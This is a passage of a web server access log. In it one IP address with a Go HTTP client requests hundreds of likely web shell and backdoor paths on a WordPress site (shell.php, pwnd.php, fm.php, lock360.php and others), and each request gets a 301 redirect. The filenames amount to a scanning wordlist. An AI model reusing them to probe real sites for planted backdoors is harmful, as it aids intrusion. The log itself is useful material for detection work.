HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:27:58 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:27:58 +0300] "GET /wp-includes/js/codemirror/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:03 +0300] "GET /wp-content/test.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:08 +0300] "GET /wp-includes/header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:13 +0300] "GET /wp-includes/block-bindings/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:18 +0300] "GET /system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:23 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:28 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:33 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:38 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:43 +0300] "GET /upload/zczv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:48 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:48 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:53 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:28:59 +0300] "GET /wp-includes/speculative8.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:04 +0300] "GET /assets/images/selam.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:09 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:14 +0300] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:19 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:24 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:24 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:29 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:34 +0300] "GET /wp-content/updraft/plugins-old/updraftplus/vendor/team-updraft/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:39 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:39 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:40 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:45 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:45 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:46 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:51 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:29:56 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:01 +0300] "GET /comments/feed/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:01 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:06 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:11 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:16 +0300] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:21 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:26 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:31 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:36 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:41 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:41 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:42 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:42 +0300] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:42 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:47 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:48 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:53 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:58 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:30:58 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:03 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:08 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:08 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:09 +0300] "GET /wp-admin/includes/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:14 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:19 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:24 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:29 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:29 +0300] "GET /wp-includes/js/mediaelement/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:29 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:30 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:30 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:30 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:31 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:31 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:31 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:36 +0300] "GET /private/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:41 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:46 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:51 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:31:56 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:01 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:02 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:07 +0300] "GET /wp-includes/sodium_compat/src/Core/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:07 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:12 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:12 +0300] "GET /wp-includes/blocks/comment-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:13 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:18 +0300] "GET /wp-wlx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:23 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:28 +0300] "GET /wp-includes/blocks/nextpage/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:28 +0300] "GET /wp-admin/maint/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:33 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:33 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:34 +0300] "GET /wp-content/buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:38 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:39 +0300] "GET /wp-includes/blocks/image/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:39 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:44 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:44 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:45 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:49 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:50 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:55 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:32:55 +0300] "GET /wa/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:00 +0300] "GET /wp-includes/blocks/post-comments-form/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:00 +0300] "GET /wp-content/themes/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:05 +0300] "GET /wp-content/plugins/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:10 +0300] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:15 +0300] "GET /wp-includes/html-api/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:20 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:25 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:30 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:31 +0300] "GET /wp-includes/js/tinymce/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:35 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:40 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:45 +0300] "GET /wp-includes/blocks/column/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:45 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:49 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:49 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:50 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:50 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:33:55 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:00 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:05 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:10 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:15 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:15 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:20 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:25 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:30 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:30 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:35 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:40 +0300] "GET /wp-admin/css/colors/PHPMailer/s HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:45 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:50 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:51 +0300] "GET /wp-content/themes/twentytwentyone/template-parts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:51 +0300] "GET /wp-includes/PHPMailer/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:56 +0300] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:34:57 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:02 +0300] "GET /wp-includes/blocks/navigation-submenu/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:02 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:02 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:07 +0300] "GET /wp-includes/blocks/video/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:07 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:13 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:18 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:18 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:18 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:23 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:28 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:28 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:29 +0300] "GET /wp-includes/assets/k.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:34 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:39 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:39 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:39 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:40 +0300] "GET /wp-includes/js/dist HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:40 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:40 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:44 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:49 +0300] "GET /wordpress/wp-admin/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:53 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:35:58 +0300] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:03 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:08 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:13 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:13 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:18 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:23 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:23 +0300] "GET /wp-content/themes/wp-blog.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:26 +0300] "GET /wp-admin/user/block-patterns/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:31 +0300] "GET /wp-content/uploads/elementor/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:31 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:36 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:39 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:40 +0300] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:40 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:40 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:41 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:46 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:51 +0300] "GET /wp-admin/network/colors/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:36:55 +0300] "GET /wp-admin/images/block-bindings/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:00 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:04 +0300] "GET /wp-domain.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:09 +0300] "GET /wp-admin/js/widgets/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:14 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:15 +0300] "GET /wp-content/lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:20 +0300] "GET /wp-includes/customize/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:25 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:30 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:35 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:40 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:45 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:50 +0300] "GET /reception1/includes/tcpdf/examples/config/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:37:55 +0300] "GET /wp-admin/wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:00 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:00 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:01 +0300] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:01 +0300] "GET /wp-content/uploads/wpforms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:01 +0300] "GET /wp-includes/blocks/page-list/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:02 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:07 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:12 +0300] "GET /wp-content/languages/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:17 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:22 +0300] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:27 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:32 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:32 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:32 +0300] "GET /lock360.php 